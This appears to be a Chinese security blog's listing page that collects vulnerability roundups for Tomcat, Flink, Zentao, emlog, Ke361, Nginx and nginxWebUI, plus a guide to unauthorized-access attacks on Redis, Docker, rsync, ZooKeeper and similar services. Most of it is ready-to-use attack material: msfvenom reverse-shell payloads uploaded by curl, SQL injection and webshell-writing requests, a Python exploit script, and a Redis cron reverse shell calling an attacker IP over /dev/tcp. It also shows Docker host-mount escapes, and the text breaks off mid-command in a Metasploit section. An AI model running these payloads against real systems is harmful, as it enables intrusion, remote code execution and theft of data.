首页
月影的wiki
搜索
1
2023HW漏洞POC、EXP补充
719 阅读
2
海康威视常见漏洞收集
568 阅读
3
Cobalt Strike 插件CSx3Ldr, 一键生成免杀木马
422 阅读
4
代码审计分析工具 Fortify-2023
295 阅读
5
windows域控常见打法
271 阅读
渗透测试
代码脚本
工具
备忘录
业余爱好
闲话
系统应急
梅花易数
小六壬
漏洞
登录
Search
月影
累计撰写
85
篇文章
累计收到
101
条评论
首页
栏目
渗透测试
代码脚本
工具
备忘录
业余爱好
闲话
系统应急
梅花易数
小六壬
漏洞
页面
月影的wiki
搜索到
30
篇与
的结果
2023-06-28
apache漏洞合集
Tomcat远程代码执行漏洞 CVE-2017-12615漏洞描述2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,其中就有远程代码执行漏洞(CVE-2017-12615)。当 启用了HTTP PUT请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。影响版本Apache Tomcat 7.0.0 - 7.0.81环境搭建git clone https://github.com/vulhub/vulhub.git cd vulhub/tomcat/CVE-2017-12615 docker-compose up -d漏洞复现漏洞产生的主要原因来自于conf/web.xml文件配置错误,readonly开启了false,导致可以使用PUT/DELETE请求方法操作文件msf生成一个jsp木马msfvenom -p java/jsp_shell_reverse_tcp LHOST=xxx.xxx.xxx.xxx LPORT=9999 -f raw > shell.jsp利用PUT方法上传木马curl -v -X PUT --data-binary @shell.jsp "http://xxx.xxx.xxx.xxx:8080/shell.jsp/"注意 http://xxx.xxx.xxx.xxx:8080/shell.jsp/中的最后一个"/"字符很重要成功上传木马文件访问文件即可反弹一个shellTomcat WebSocket 拒绝服务漏洞 CVE-2020-13935漏洞描述2020年11月06日,360CERT监测发现@RedTeamPentesting发布了Tomcat WebSokcet 拒绝服务漏洞 的分析报告该漏洞编号为 CVE-2020-13935 ,漏洞等级:高危 ,漏洞评分:7.5 。未授权的远程攻击者通过发送 大量特制请求包 到Tomcat服务器 ,可造成服务器停止响应并无法提供正常服务漏洞影响Apache Tomcat 10.0.0-M1-10.0.0-M6Apache Tomcat 9.0.0.M1-9.0.36Apache Tomcat 8.5.0-8.5.56Apache Tomcat 7.0.27-7.0.104环境搭建https://github.com/vulhub/vulhub.git cd vulhub/tomcat/CVE-2020-1938 docker-compose up -d漏洞复现访问目标,查看版本是否在漏洞版本范围内CVE-2020-13935 EXP地址 : https://github.com/RedTeamPentesting/CVE-2020-13935 tcdos ws://192.168.51.133:8080/examples/websocket/echoStreamAnnotationTomcat AJP 文件包含漏洞 CVE-2020-1938漏洞描述Java 是目前 Web 开发中最主流的编程语言,而 Tomcat 是当前最流行的 Java 中间件服务器之一,从初版发布到现在已经有二十多年历史,在世界范围内广泛使用。Ghostcat(幽灵猫)是由长亭科技安全研究员发现的存在于 Tomcat 中的安全漏洞,由于 Tomcat AJP 协议设计上存在缺陷,攻击者通过 Tomcat AJP Connector 可以读取或包含 Tomcat 上所有 webapp 目录下的任意文件,例如可以读取 webapp 配置文件或源代码。此外在目标应用有文件上传功能的情况下,配合文件包含的利用还可以达到远程代码执行的危害。影响版本Apache Tomcat 6Apache Tomcat 7 < 7.0.100Apache Tomcat 8 < 8.5.51Apache Tomcat 9 < 9.0.31环境搭建git clone https://github.com/vulhub/vulhub.git cd vulhub/tomcat/CVE-2020-1938 docker-compose up -d利用工具: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfifink rce(任意 Jar 包上传)(1)打开浏览器,通过访问http://192.168.17.140:8081,发现为flink页面,版本为1.9.1,而根据曝出的漏洞,此版本存在RCE漏洞,接下来将对其进行尝试攻击 2)打开msfvenom生成一个jar木马(LHOST、LPORT为攻击者监听IP及端口)msfvenom -p java/shell_reverse_tcp LHOST=XX.XX.XX.XX LPORT=4444 -f java shell.jar (3)设置监听端口 (4)根据曝出的漏洞位置(Submit New Job-Add New)点击Add上传jar文件,上传成功后,点击文件,选择“Submit” (5)此时反弹shell成功,且用户为administrator
2023年06月28日
74 阅读
1 评论
0 点赞
2023-06-27
cms漏洞合集
禅道禅道 11.6 api-getModel-api-sql-sql 后台SQL注入漏洞漏洞描述禅道 11.6 版本中对用户接口调用权限过滤不完善,导致调用接口执行SQL语句导致SQL注入影响版本禅道 11.6环境搭建这里使用docker环境搭建docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6漏洞复现http://xxx.xxx.xxx.xxx/api-getModel-api-sql-sql=select+account,password+from+zt_user成功执行sql语句禅道 11.6 api-getModel-editor-save-filePath 任意文件写入漏洞漏洞描述禅道 11.6 版本中对用户接口调用权限过滤不完善,导致调用接口执行SQL语句导致SQL注入影响版本禅道 11.6环境搭建这里使用docker环境搭建docker run --name zentao_v11.6 -p 8084:80 -v /u01/zentao/www:/app/zentaopms -v /u01/zentao/data:/var/lib/mysql -e MYSQL_ROOT_PASSWORD=123456 -d docker.io/yunwisdom/zentao:v11.6漏洞复现这里造成漏洞的原因同样是调用接口权限无限制的原因$filePath参数和$fileContent参数 我们是可控的调用方法往 /tmp写入一个phpinfo()POST /api-getModel-editor-save-filePath=/tmp/shell.php fileContent=<?php phpinfo();?> 在利用 禅道 11.6版本 任意文件读取漏洞 第二种方法来文件包含/api-getModel-api-getMethod-filePath=/tmp/shell/1 也可以写入网站目录中先获取地址POST /api-getModel-editor-save-filePath=/tmp/shell fileContent=<?php system('find / -name ioncube.php')?>');?> 访问 /api-getModel-api-getMethod-filePath=/tmp/shell/1得到目录为 /app/zentaopma/www请求改为POST /api-getModel-editor-save-filePath=/tmp/shell fileContent=<?php file_put_contents('/app/zentaopms/www/xxx.php', '<?php phpinfo();?>');?> 再去访问 /api-getModel-api-getMethod-filePath=/tmp/shell/1,则会再网站目录下生成 xxx.php 文件禅道 11.6 api-getModel-api-getMethod-filePath 任意文件读取漏洞漏洞描述禅道 11.6 版本中对用户接口调用权限过滤不完善,导致调用接口执行SQL语句导致SQL注入影响版本禅道 11.6漏洞复现这里造成漏洞的原因同样是调用接口权限无限制的原因这里可以看到以file为模块名、parseCSV为方法名去调用读取文件读取的文件名$filename参数可控,例如读取/etc/passwdhttp://xxx.xxx.xxx.xxx/api-getModel-file-parseCSV-fileName=/etc/passwd ✅注意以 .php .txt 结尾的会被 /framework/base/router.class.php中的parsePathInfo方法 过滤第二种方法这里与第一种大同小异,只是调用了不同模块的方法看到 fileName = dirname(filepath) 这段则为返回的目录名所以读取/etc/passwd则需要写为/etc/passwd/1来绕过http://xxx.xxx.xxx.xxx/api-getModel-api-getMethod-filePath=/etc/passwd/1 禅道 12.4.2 后台任意文件上传漏洞 CNVD-C-2020-121325漏洞描述百度云安全团队监测到禅道官方发布了文件上传漏洞的风险通告,该漏洞编号为CNVD-C-2020-121325,漏洞影响禅道<=12.4.2版本。登陆管理后台的恶意攻击者可以通过fopen/fread/fwrite方法读取或上传任意文件,成功利用此漏洞可以读取目标系统敏感文件或获得系统管理权限。我们对漏洞进行了复现和分析,由于需要登录后台才可以利用,实际风险相对较低,建议受影响的禅道用户尽快升级到最新版。影响版本禅道 <= 12.4.2版本调用接口查询版本信息 http://xxx.xxx.xxx.xxx/www/index.php?mode=getconfig漏洞复现✅漏洞触发需要后台权限首先先上传一个恶意文件,可以是FTP也可以是HTTP例如我上传的文件URL为http://xxx.com/SHELL.php(opens new window) http://xxx.com/SHELL.php | base64加密 HTTP://xxx.com/SHELL.php | SFRUUDovL3BlaXFpLnRlY2gvU0hFTEwucGhw请求地址则为http://xxx.xxx.xxx.xxx/www/index.php?m=client&f=download&version=1&link=SFRUUDovL3BlaXFpLnRlY2gvU0hFTEwucGhw 下载的目录地址为zentaopms\www\data\client\1目录为version名称成功上传禅道 16.5 router.class.php SQL注入漏洞漏洞描述禅道 16.5 router.class.php 文件存在SQL注入漏洞,攻击者通过漏洞可以获取数据库敏感信息,危害服务器安全漏洞影响禅道 16.5网络测绘app="易软天创-禅道系统"漏洞复现登录页面16.5 到 16.5.1 版本更新了 framework/base/router.class.php 文件验证POC如下, 其中同样存在堆叠注入,通过SQL语句可修改管理员密码等POST /user-login.html account=admin%27+and+%28select+extractvalue%281%2Cconcat%280x7e%2C%28select+user%28%29%29%2C0x7e%29%29%29%23 emlogemlog widgets.php 后台SQL注入漏洞漏洞描述emlog widgets.php文件在登录后通过构造特殊语句导致SQL注入,获取数据库敏感信息漏洞影响emlog 6.0网络测绘app="EMLOG"漏洞复现产品主页https://github.com/emlog/emlog存在漏洞的文件为 admin/widgets.phppocPOST /admin/widgets.php?action=compages widgets=1' and updatexml(0x3a,concat(1,(select user())),1)-- Ke361GoodsController.class.php SSRF漏洞漏洞描述Ke361 GoodsController.class.php URL参数存在 SSRF漏洞,通过漏洞可以获取敏感信息漏洞影响Ke361环境搭建https://gitee.com/jcove/ke361漏洞复现CMS产品页面存在漏洞的文件为 Application/Home/Controller/GoodsController.class.phpURL参数无任何过滤,传入 file_get_contents函数,造成SSRF漏洞,构造请求POST /index.php?s=/Goods/ajGetGoodsDetial url=http://6si2gt.dnslog.cn Ke361 AuthManagerController.class.php 后台SQL注入漏洞漏洞描述Ke361 AuthManagerController.class.php uid参数存在 SQL注入漏洞,通过漏洞可以获取数据库敏感信息漏洞影响Ke361环境搭建https://gitee.com/jcove/ke361漏洞复现存在漏洞的文件为 Application/Admin/Controller/AuthManagerController.class.php验证POC/admin.php?s=/AuthManager/group/uid/1')%20AND%20updatexml(1,concat(0x7e,(select%20md5(1)),0x7e),1)--+Ke361 DistrictController.class.php 后台SQL注入漏洞 CNVD-2021-25002漏洞描述Ke361 DistrictController.class.php index() 函数 pid参数存在 SQL注入漏洞,通过漏洞可以获取数据库敏感信息漏洞影响Ke361环境搭建https://gitee.com/jcove/ke361漏洞复现存在漏洞的文件为 Application/Admin/Controller/DistrictController.class.phpadmin.php?s=/District/index/pid/1)%20AND%20updatexml(1,concat(0x7e,(select%20md5(1)),0x7e),1)--+Ke361 MenuController.class.php 后台SQL注入漏洞 CNVD-2021-25002漏洞描述Ke361 MenuController.class.php文件 index() 函数中的pid参数存在 SQL注入漏,导致攻击者通过漏洞可以获取数据库敏感信息漏洞影响Ke361环境搭建https://gitee.com/jcove/ke361漏洞复现存在漏洞的文件为 Application/Admin/Controller/MenuController.class.phpGet 传参 pid 传入SQL语句SELECT `id`,`title`,`pid`,`sort`,`url`,`hide`,`tip`,`group`,`is_dev`,`status` FROM `ke_menu` WHERE (id=1) 使用括号闭合语句,构造SQL注入/admin.php?s=/Menu/index/pid/1)%20AND%20updatexml(1,concat(0x7e,(select%20md5(1)),0x7e),1)--+ Ke361 TopicController.class.php SQL注入漏洞 CNVD-2017-04380漏洞描述Ke361 TopicController.class.php 文件中 detai() 函数中存在 SQL注入漏洞漏洞影响Ke361环境搭建https://gitee.com/jcove/ke361漏洞复现存在漏洞的文件为 Application/Home/Controller/TopicController.class.php, 漏洞函数详情这里接收参数 id,然后执行SQL语句, 通过报错注入可以获取数据库数据/index.php?s=/Topic/detail/id/1)%20%20AND%20updatexml(1,concat(0x7e,(select%20md5(1)),0x7e),1)--+
2023年06月27日
44 阅读
0 评论
0 点赞
2023-06-26
nginx漏洞合集
Nginx越界读取缓存漏洞 CVE-2017-7529漏洞描述Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。而如果我构造了两个负的位置,如(-600, -9223372036854774591),将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。影响版本Nginx version 0.5.6 - 1.13.2环境搭建git clone https://github.com/vulhub/vulhub.git cd vulhub/nginx/CVE-2017-7529 docker-compose up -d 访问http://xxx.xxx.xxx.xxx:8080 正常即可漏洞复现使用POC进行验证python poc.py http://xxx.xxx.xxx.xxx:8080/漏洞POC#!/usr/bin/env python import sys import requests if len(sys.argv) < 2: print("%s url" % (sys.argv[0])) print("eg: python %s http://your-ip:8080/" % (sys.argv[0])) sys.exit() headers = { 'User-Agent': "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.10240" } offset = 605 url = sys.argv[1] file_len = len(requests.get(url, headers=headers).content) n = file_len + offset headers['Range'] = "bytes=-%d,-%d" % ( n, 0x8000000000000000 - n) r = requests.get(url, headers=headers) 在野0day nginxWebUI 远程代码执行漏洞漏洞描述nginxWebUI是一款图形化管理nginx配置的工具,能通过网页快速配置nginx的各种功能,包括HTTP和TCP协议转发、反向代理、负载均衡、静态HTML服务器以及SSL证书的自动申请、续签和配置,配置完成后可以一键生成nginx.conf文件,并控制nginx使用此文件进行启动和重载。 nginxWebUI后台提供执行nginx相关命令的接口,由于未对用户的输入进行过滤,导致可在后台执行任意命令。并且该系统权限校验存在问题,导致存在权限绕过,在前台可直接调用后台接口,最终可以达到无条件远程命令执行的效果。影响版本nginxWebUI < 3.5.2 未授权命令执行漏洞(网上公开为3.5.0 但下载后发现作者已删除GITEE中3.5.0的相应代码,下载3.5.0版本jar包反编译后发现并没有对权限绕过进行修复) nginxWebUI 全版本均存在命令执行漏洞(文章截止最新版3.6.0)漏洞详情NginxWebUi 任意命令执行漏洞(一)中分析了com.cym.controller.adminPage.ConfController#runCmd()存在命令拼接导致任意命令执行漏洞,今天继续分析其余漏洞利用点命令执行点1com.cym.controller.adminPage.ConfController#reload()方法@Controller @Mapping("/adminPage/conf") public class ConfController extends BaseController { @Mapping(value = "reload") public synchronized JsonResult reload(String nginxPath, String nginxExe, String nginxDir) { //String nginxPath, String nginxExe, String nginxDir 为空则获取系统配置 if (nginxPath == null) { nginxPath = settingService.get("nginxPath"); } if (nginxExe == null) { nginxExe = settingService.get("nginxExe"); } if (nginxDir == null) { nginxDir = settingService.get("nginxDir"); } try { //命令拼接 String cmd = nginxExe + " -s reload -c " + nginxPath; if (StrUtil.isNotEmpty(nginxDir)) { //命令拼接 cmd += " -p " + nginxDir; } String rs = RuntimeUtil.execForStr(cmd); cmd = "<span class='blue'>" + cmd + "</span>"; if (StrUtil.isEmpty(rs) || rs.contains("signal process started")) { return renderSuccess(cmd + "<br>" + m.get("confStr.reloadSuccess") + "<br>" + rs.replace("\n", "<br>")); } else { if (rs.contains("The system cannot find the file specified") || rs.contains("nginx.pid") || rs.contains("PID")) { rs = rs + m.get("confStr.mayNotRun"); } return renderSuccess(cmd + "<br>" + m.get("confStr.reloadFail") + "<br>" + rs.replace("\n", "<br>")); } } catch (Exception e) { logger.error(e.getMessage(), e); return renderSuccess(m.get("confStr.reloadFail") + "<br>" + e.getMessage().replace("\n", "<br>")); } } }payloadhttp://localhost:8080/AdminPage/conf/reload?nginxExe=calc%20%7C命令执行点2com.cym.controller.adminPage.ConfController#check()方法@Controller @Mapping("/adminPage/conf") public class ConfController extends BaseController { @Mapping(value = "check") public JsonResult check(String nginxPath, String nginxExe, String nginxDir, String json) { if (nginxExe == null) { nginxExe = settingService.get("nginxExe"); } if (nginxDir == null) { nginxDir = settingService.get("nginxDir"); } JSONObject jsonObject = JSONUtil.parseObj(json); // json 中 nginxContent 不为空 String nginxContent = Base64.decodeStr(jsonObject.getStr("nginxContent"), CharsetUtil.CHARSET_UTF_8); nginxContent = URLDecoder.decode(nginxContent, CharsetUtil.CHARSET_UTF_8).replace("<wave>", "~"); //json 中 subContent 不为空 且为List List<String> subContent = jsonObject.getJSONArray("subContent").toList(String.class); for (int i = 0; i < subContent.size(); i++) { String content = Base64.decodeStr(subContent.get(i), CharsetUtil.CHARSET_UTF_8); content = URLDecoder.decode(content, CharsetUtil.CHARSET_UTF_8).replace("<wave>", "~"); subContent.set(i, content); } // 替换分解域名include路径中的目标conf.d为temp/conf.d //nginxPath 不为空且可访问 String confDir = ToolUtils.handlePath(new File(nginxPath).getParent()) + "/conf.d/"; String tempDir = homeConfig.home + "temp" + "/conf.d/"; //json 中 subName 不为空 且为List List<String> subName = jsonObject.getJSONArray("subName").toList(String.class); for (String sn : subName) { nginxContent = nginxContent.replace("include " + confDir + sn, // "include " + tempDir + sn); } FileUtil.del(homeConfig.home + "temp"); String fileTemp = homeConfig.home + "temp/nginx.conf"; confService.replace(fileTemp, nginxContent, subContent, subName, false, null); String rs = null; String cmd = null; try { ClassPathResource resource = new ClassPathResource("mime.types"); FileUtil.writeFromStream(resource.getStream(), homeConfig.home + "temp/mime.types"); // cmd = nginxExe + " -t -c " + fileTemp; if (StrUtil.isNotEmpty(nginxDir)) { cmd += " -p " + nginxDir; } rs = RuntimeUtil.execForStr(cmd); } catch (Exception e) { logger.error(e.getMessage(), e); rs = e.getMessage().replace("\n", "<br>"); } cmd = "<span class='blue'>" + cmd + "</span>"; if (rs.contains("successful")) { return renderSuccess(cmd + "<br>" + m.get("confStr.verifySuccess") + "<br>" + rs.replace("\n", "<br>")); } else { return renderSuccess(cmd + "<br>" + m.get("confStr.verifyFail") + "<br>" + rs.replace("\n", "<br>")); } } }payloadPOST /AdminPage/conf/check HTTP/1.1 Host: 127.0.0.1:8080 Content-Length: 151 Accept: */* User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Origin: chrome-extension://ieoejemkppmjcdfbnfphhpbfmallhfnc Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: SOLONID=1788f71299dc4608a355ff347bf429fa Connection: close nginxExe=calc%20%7C&json=%7B%22nginxContent%22%3A%22TES%22%2C%22subContent%22%3A%5B%22A%22%5D%2C%22subName%22%3A%5B%22A%22%5D%7D&nginxPath=C%3A%5CUsers命令执行点3com.cym.controller.adminPage.ConfController#checkBase()方法,此方法从设置中获nginxExe nginxDir两个属性后拼接到命令在造成命令执行漏洞@Mapping(value = "checkBase") public JsonResult checkBase() { //从设置中获取 nginxExe nginxDir String nginxExe = settingService.get("nginxExe"); String nginxDir = settingService.get("nginxDir"); String rs = null; String cmd = null; FileUtil.del(homeConfig.home + "temp"); String fileTemp = homeConfig.home + "temp/nginx.conf"; try { ConfExt confExt = confService.buildConf(false, true); FileUtil.writeString(confExt.getConf(), fileTemp, CharsetUtil.CHARSET_UTF_8); ClassPathResource resource = new ClassPathResource("mime.types"); FileUtil.writeFromStream(resource.getStream(), homeConfig.home + "temp/mime.types"); //命令拼接 cmd = nginxExe + " -t -c " + fileTemp; if (StrUtil.isNotEmpty(nginxDir)) { cmd += " -p " + nginxDir; } //命令执行 rs = RuntimeUtil.execForStr(cmd); } catch (Exception e) { logger.error(e.getMessage(), e); rs = e.getMessage().replace("\n", "<br>"); } cmd = "<span class='blue'>" + cmd + "</span>"; if (rs.contains("successful")) { return renderSuccess(cmd + "<br>" + m.get("confStr.verifySuccess") + "<br>" + rs.replace("\n", "<br>")); } else { return renderError(cmd + "<br>" + m.get("confStr.verifyFail") + "<br>" + rs.replace("\n", "<br>")); } }com.cym.controller.adminPage.ConfController#saveCmd()方法可设置以上属性@Mapping(value = "saveCmd") public JsonResult saveCmd(String nginxPath, String nginxExe, String nginxDir) { nginxPath = ToolUtils.handlePath(nginxPath); settingService.set("nginxPath", nginxPath); nginxExe = ToolUtils.handlePath(nginxExe); settingService.set("nginxExe", nginxExe); nginxDir = ToolUtils.handlePath(nginxDir); settingService.set("nginxDir", nginxDir); return renderSuccess(); }payload//第一步设置属性 http://localhost:8080/AdminPage/conf/saveCmd?nginxExe=calc%20%7c&nginxPath=a&nginxDir=a //第二步执行命令 http://localhost:8080/AdminPage/conf/checkBase任意文件上传1com/cym/controller/adminPage/MainController.java @Mapping("/adminPage/main/upload") public JsonResult upload(Context context, UploadedFile file) { try { File temp = new File(FileUtil.getTmpDir() + "/" + file.getName()); file.transferTo(temp); // // 移动文件 // File dest = new File(homeConfig.home + "cert/" + file.name); // while(FileUtil.exist(dest)) { // dest = new File(dest.getPath() + "_1"); // } // FileUtil.move(temp, dest, true); // String localType = (String) context.session("localType"); // if ("remote".equals(localType)) { // Remote remote = (Remote) context.session("remote"); // // HashMap<String, Object> paramMap = new HashMap<>(); // paramMap.put("file", temp); // // String rs = HttpUtil.post(remote.getProtocol() + "://" + remote.getIp() + ":" + remote.getPort() + "/upload", paramMap); // JsonResult jsonResult = JSONUtil.toBean(rs, JsonResult.class); // FileUtil.del(temp); // return jsonResult; // } return renderSuccess(temp.getPath().replace("\\", "/")); } catch (IllegalStateException | IOException e) { logger.error(e.getMessage(), e); } return renderError(); }可通过../ 控制文件上传路径,上传计划任务任意文件上传2com/cym/controller/adminPage/ServerController.java @Mapping("upload") public JsonResult upload(Context context, UploadedFile file) { try { File temp = new File(FileUtil.getTmpDir() + "/" + file.getName()); file.transferTo(temp); // 移动文件 File dest = new File(homeConfig.home + "cert/" + file.getName()); while(FileUtil.exist(dest)) { dest = new File(dest.getPath() + "_1"); } FileUtil.move(temp, dest, true); String localType = (String) context.session("localType"); if ("remote".equals(localType)) { Remote remote = (Remote) context.session("remote"); HashMap<String, Object> paramMap = new HashMap<>(); paramMap.put("file", temp); String rs = HttpUtil.post(remote.getProtocol() + "://" + remote.getIp() + ":" + remote.getPort() + "/upload", paramMap); JsonResult jsonResult = JSONUtil.toBean(rs, JsonResult.class); FileUtil.del(temp); return jsonResult; } return renderSuccess(dest.getPath().replace("\\", "/")); } catch (IllegalStateException | IOException e) { logger.error(e.getMessage(), e); } return renderError(); }可通过../ 控制文件上传路径,上传计划任务 注:以上漏洞点3.5.2以下均可通过大小写进行权限绕过,3.5.2以上均需登陆后才可进行漏洞利用
2023年06月26日
32 阅读
0 评论
0 点赞
2023-06-23
常见端口及未授权访问汇总
MongoDB未授权访问漏洞 27017环境部署:docker search mongodb # 从Docker Hub查找镜像 docker pull mongo #从镜像仓库中拉取或者更新指定镜像 docker images mongo #列出本地主机上的mongo镜像 docker run -d -p 27017:27017 --name mongodb mongo # 创建一个新的容器并运行一个命令 docker ps # 显示正在运行的容器验证:nmap -p 27017--script mongodb-info Redis 未授权访问漏洞 6379环境部署:下载源码压缩包 wget http://download.redis.io/releases/redis-3.2.11.tar.gz 解压 tar zxvf redis-3.2.11.tar.gz 进入压缩目录 cd redis-3.2.11 编译 make #编译成功后进入src目录并将redis-server和redis-cli拷贝到/usr/bin目录下,并将redis.conf复制到/etc/ 紧接着编辑redis.conf vim /etc/redis.conf注释 bind 127.0.0.1或者改成0.0.0.0protected-mode no漏洞利用:利用方式1:利用ssh公钥ssh-keygen -t rsa 现在kali创建一个公钥和私钥(echo "\n\n";cat /root/.ssh/id_rsa.pub)>test.txt 公钥需要加两个换行cat test.txt | /Black/redis/redis-cli -h 152.136.186.111 -x set crack 将公钥写入redis连接到redis redis-cli -h ipconfig get dir 查看redis备份路径config set dir /root/.ssh 更改redis备份路径为ssh公钥存放目录config set dbfilename authorized_keys 设置上传公钥的备份文件名字为authorized_keyssave quit 保存退出通过私钥免密连接 ssh -i id_rsa root@192.168.52.251利用方式2:写入webshell连接redis redis-cli -h 192.168.52.251 设置备份文件路径为网站根目录 config set dir /var/www/html/ 设置备份文件名为shell.php config set dbfilename shell.php 随便设置一个键,值为一句话马(我下面测试用的phpinfo) set shell "<?php phpinfo();?>" 然后保存 save利用方式3:反弹shellconfig set dir /var/spool/cron config set dbfilename root set xx "\n\n/1 * /bin/bash -i>&/dev/tcp/192.168.52.128/4444 0>&1\n\n" save利用方式4:Redis 4.x/5.x 主从复制导致的命令执行Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。正常连接redis,然后将备份目录设置成root目录,会提示权限不足下载exp脚本:https://github.com/n0b0dyCN/redis-rogue-server先编译exp cd RedisModulesSDK/exp/ make #利用 python redis-rogue-server.py --rhost 192.168.52.251 --lhost 192.168.52.128 --lport 4444Memcached 未授权访问漏洞 11211漏洞扫描:nmap -sV -p11211 --script memcached-info 192.168.96.128漏洞利用:telnet 192.168.96.128 11211nc -vv 192.168.96.128 11211Jboss未授权访问漏洞 8080环境搭建:vulhub上的CVE-2017-7504利用方法1:访问/jmx-console/ 默认admin admin登录找到 flavor=URL,type=DeploymentScanner 点击上传war包 需要远程服务器生成warjar cvf shell.war jsp一句话.jsp利用方法2:使用脚本:https://github.com/joaomatosf/jexbossVNC未授权访问漏洞 5900 5901使用使用VNC Viewer 进行漏洞利用Docker未授权访问漏洞 2375端口:2375漏洞验证:ip:2375/info查看images列表 ip:2375/images/json通过docker client使用-H参数连接目标主机的docker,并使用ps -a命令查询目标系统运行的所有容器docker -H tcp://10.1.1.200 ps -a #列出所有容器首先docker client连接目标,ps -a 查看哪些容器已经停止通过start命令启动一个已经停止的容器利用方式1:新运行一个容器并将entrypoint设置为/bin/bash或者/bin/sh,挂载点设置为服务器的根目录挂载至/mnt目录下(需要root权限启动docker)docker -H tcp://10.1.1.200 run -it -v /:/mnt--entrypoint /bin/bash 4c9608fd76ba(镜像id)2) 也可以使用docker命令创建一个busybox容器,并将宿主机的磁盘挂载到容器中(此过程需联网,实验室暂时无法完成)docker -H tcp://10.1.1.200:2375 run -it -v /:/mnt busybox chroot /mnt shdocker未授权写ssh公钥获得shell:1)启动一个容器,挂载宿主机的/mnt目录(上一步骤已挂载),之后将攻击者的ssh公钥~/.ssh/id_rsa.pub的内容写到入宿主机的/root/.ssh/authorized_keys文件中,之后就可以用root账户直接登录了。2)首先kali生成id_rsa公钥:ssh-keygen -t rsa将生成公钥写入到目标/root/.ssh/authorized_keys文件中利用方式2:docker未授权写定时任务获得shellRsync未授权访问漏洞 873端口:873kali连接rsync:rsync rsync://ip:873使用rsync上传文件:rsync 1.txt rsync://ip:873/src/home/使用rsync下载文件:rsync -av rsync://ip:873/src/etc/passwd ./ 不加-av也可以下载-a:archive,归档模式,表示以递归方式传输文件,并保持所有文件属性-v:verbose,详细模式输出利用方法:通过写cron任务反弹shell:先下载任务计划文件:rsync -av rsync://ip:port/src/etc/crontab crontab.txt漏洞修复● 隐藏掉 module 信息:修改配置文件 list =false。● 权限控制:不需要写入权限的 module 的设置为只读 Read only = true;● 网络访问控制:使用安全组策略或白名单限制,只允许必要访问的主机访问;● 账户认证:只允许指定的用户利用指定的密码使用 rsync 服务;● 数据加密传输:Rsync 默认没有直接支持加密传输,如果需要 Rsync 同步重要性很高的数据,可以使用 ssh;FTP未授权访问漏洞 21端口21 ftp://ip:portLDAP未授权访问 389端口 389LDAP中文全称为:轻型目录访问协议(Lightweight Directory Access Protocol),默认使用389, LDAP 底层一般使用 TCP 或 UDP 作为传输协议。目录服务是一个特殊的数据库,是一种以树状结构的目录数据库为基础。未对LDAP的访问进行密码验证,导致未授权访问。可以使用ldapbrowser工具(下载:https://ldapbrowserwindows.com/)直接连接,获取目录内容。漏洞修复● 修改ldap的acl,禁止匿名访问。● 根据业务设置ldap访问白名单或黑名单;ZooKeeper 未授权访问(2181)ZooKeeper 是一个分布式的开放源码的分布式应用程序协调服务,ZooKeeper 默认开启在 2181 端口在未进行任何访问控制的情况下攻击者可通过执行 envi 命令获得系统大量的敏感信息包括系统名称Java 环境,任意用户在网络可达的情况下进行为未授权访问并读取数据甚至 kill 服务。echo envi|nc 192.168.131.128 2181 获取服务器环境信息:echo stat |nc 192.168.131.128 2181漏洞修复● 为ZooKeeper配置相应的访问权限;● 设置防火墙策略;● 禁止把Zookeeper直接暴露在公网;Docker Registry未授权(5000)默认5000端口,docker remote api可以执行docker命令,该接口是目的是取代docker 命令界面,通过url操作docker。安全建议1、设置ACL,只允许信任ip连接对应端口2、开启TLS,使用生成的证书进行认证Kibana 未授权访问(5601)Kibana如果允许外网访问,没有做安全的登录认证,也会被外部随意访问查看所有的数据,造成少数据泄露。直接访问kibana的页面http://192.168.126.130:5601/https://192.168.126.130/app/kibana#http://192.168.126.130:5601/app/kibana#/无需账号密码可以登录进入界面漏洞修复● 设置kibana监听本地地址,并设置ElasticSearch登录的账号和密码;● 设置防火墙策略,限定IP访问服务;CouchDB 未授权访问(5984)Apache CouchDB 是一个开源数据库,默认会在5984端口开放Restful的API接口,如果使用SSL的话就会监听在6984端口,用于数据库的管理功能。其HTTP Server默认开启时没有进行验证,而且绑定在0.0.0.0,所有用户均可通过API访问导致未授权访问。curl 192.168.126.130:5984curl 192.168.126.130:5984/_config漏洞修复指定CouchDB绑定的IP (需要重启CouchDB才能生效)在 /etc/couchdb/local.ini 文件中找到 “bind_address = 0.0.0.0” ,把 0.0.0.0 修改为 127.0.0.1 ,然后保存。注:修改后只有本机才能访问CouchDB。设置访问密码(需要重启CouchDB才能生效)在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密码。设置WWW-Authenticate,强制认证。Apache Spark 未授权访问(6066、8081、8082)Apache Spark是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点未启动访问控制,攻击者可以在集群中执行任意代码。该漏洞的本质是未授权用户可以向Master节点提交一个应用,Master节点会分发给Slave节点执行应用。如果应用中包含恶意代码,会导致任意代码执行,威胁Spark集群整体的安全性。使用msf工具getshellmsf5>use exploit/linux/http/spark_unauth_rcemsf5>set payload java/meterpreter/reverse_tcpmsf5>set rhost 192.168.100.2msf5>set rport 6066msf5>set lhost 